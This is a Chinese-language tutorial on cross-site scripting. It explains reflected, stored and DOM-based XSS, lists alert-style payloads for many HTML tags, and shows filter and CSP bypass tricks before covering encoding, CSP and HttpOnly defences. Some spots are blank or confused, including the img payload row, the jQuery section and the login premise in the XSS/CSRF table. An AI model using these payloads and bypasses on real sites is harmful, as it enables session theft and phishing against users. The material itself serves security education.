从0到1完全掌握 XSS
字数 1768 2025-08-12 12:08:18
从0到1完全掌握XSS攻击与防御
0x01 XSS概述
XSS (Cross Site Scripting) 攻击全称跨站脚本攻击,是一种常见的Web应用安全漏洞,允许攻击者将恶意代码植入到提供给其他用户使用的页面中。
本质:XSS是一种高级钓鱼手法。
运行原理:将恶意的script脚本插入进html/css/js文件中。
0x02 XSS危害
- 窃取用户敏感信息(如cookies、session tokens)
- 劫持用户会话
- 重定向到恶意网站
- 发起CSRF攻击
- 键盘记录
- 传播蠕虫病毒
0x03 XSS分类与攻击手段
1. 反射型XSS(非持久型)
特点:
- 转瞬即逝,不存储在服务器上
- 通常通过URL参数传递恶意代码
- 需要诱骗用户点击恶意链接
基本Payload:
<script>alert(1)</script>
绕过手段:
(1) 大多数标签被禁止时的绕过
<body onresize=print()>" onload=this.style.width='100px'>
(2) 事件处理器与href被禁用时的绕过
<svg>
<a>
<animate attributeName=href values=javascript:alert(1) />
<text x=20 y=20>Click me</text>
</a>
</svg>
或:
<svg><animatetransform onbegin=alert(1)>
(3) 对script进行闭合后构造Payload
'-alert(document.domain)-'
';alert(document.domain)//
(4) 绕过CSP(Content Security Policy)
悬空标记攻击:
alert(1)</script>&token=;script-src-elem 'unsafe-inline'
2. 存储型XSS
特点:
- 危害性最大
- 恶意代码存储在服务器上(如数据库)
- 每次访问受影响页面都会执行
- 常见于评论、留言等功能
示例:
username=<script>alert(1)</script>
3. DOM型XSS
特点:
- 完全由前端触发
- 不依赖服务器响应
- 基于文档对象模型(DOM)操作
常用标签与Payload:
| 标签 | 示例Payload |
|---|---|
| script | <script>alert(1);</script> |
| img | `` |
| input | <input onfocus=alert(1); autofocus> |
| details | <details open ontoggle=alert(1);> |
| svg | <svg onload=alert(1);> |
| select | <select onfocus=alert(1) autofocus> |
| iframe | <iframe onload=alert(1);></iframe> |
| video | <video><source onerror=alert(1)> |
| body | <body onload=alert(1);> |
| textarea | <textarea onfocus=alert(1); autofocus> |
jQuery中的DOM型XSS:
0x04 XSS实战应用
1. 钓鱼攻击
- 伪造登录表单窃取凭证
- 伪造系统消息诱导用户操作
- 结合CSRF进行更复杂的攻击
2. 从XSS到Getshell
- 利用XSS获取管理员权限
- 结合其他漏洞提升攻击效果
- 上传webshell
0x05 XSS与CSRF的区别
| 特性 | XSS | CSRF |
|---|---|---|
| 全称 | 跨站脚本攻击 | 跨站请求伪造 |
| 前提 | 不需要用户登录 | 需要用户已登录 |
| 利用点 | 利用站点内的信任用户 | 伪装来自受信任用户的请求 |
| 本质 | 向网站注入JS代码执行 | 利用用户身份发起恶意请求 |
0x06 XSS防御措施
1. 输入验证与过滤
- 对用户输入进行严格验证
- 过滤特殊字符(如<, >, ", ', &等)
- 使用白名单机制
2. 输出编码
- HTML实体编码
- JavaScript编码
- URL编码
- CSS编码
3. CSP(内容安全策略)
- 禁止加载外域代码
- 禁止内联脚本执行
- 禁止外域提交
- 使用随机数和哈希值指定可信资源
示例CSP头:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com
4. 其他安全措施
- 设置HTTP-only Cookie
- 敏感操作使用验证码
- 实施CSRF Token
- 定期安全审计
0x07 总结
XSS攻击随着Web安全意识的提高已不像过去那样泛滥,但仍然是一个需要高度重视的安全威胁。理解XSS的攻击原理、掌握各种绕过技术、实施全面的防御措施,是Web安全从业者的必备技能。从反射型、存储型到DOM型XSS,每种类型都有其特点和利用方式,防御时也需要采取多层次、全方位的防护策略。